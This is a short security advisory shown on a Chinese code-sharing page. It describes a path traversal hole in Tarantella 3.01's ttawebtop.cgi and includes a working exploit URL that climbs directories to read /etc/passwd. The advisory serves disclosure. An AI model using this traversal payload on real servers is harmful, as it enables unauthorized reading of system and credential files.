ttawebtop.html

来自「一个FTP密码破解程序的源代码」· HTML 代码 · 共 18 行

HTML
18
字号
<html>
<body bgcolor="#000000" text="#CCCCCC">
<pre>

<b>Name</b>        :  tarantella 3.01 ttawebtop.cgi "show files" vulnerability

<b>Problem</b>     :  '..' and '/' are not filtered while processing
               user input, so it is possible to enter arbitrary values
               to retreive files from remote sever, which should not be
               accessible normally.

<b>Exploit</b>:
      http://xxx/tarantella/cgi-bin/ttawebtop.cgi/?action=start&pg=
      ../../../../../../../../../../../../../../../etc/passwd

<b>Author</b>      :   KF (dotslash@snosoft.com)
</pre>
</html>

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?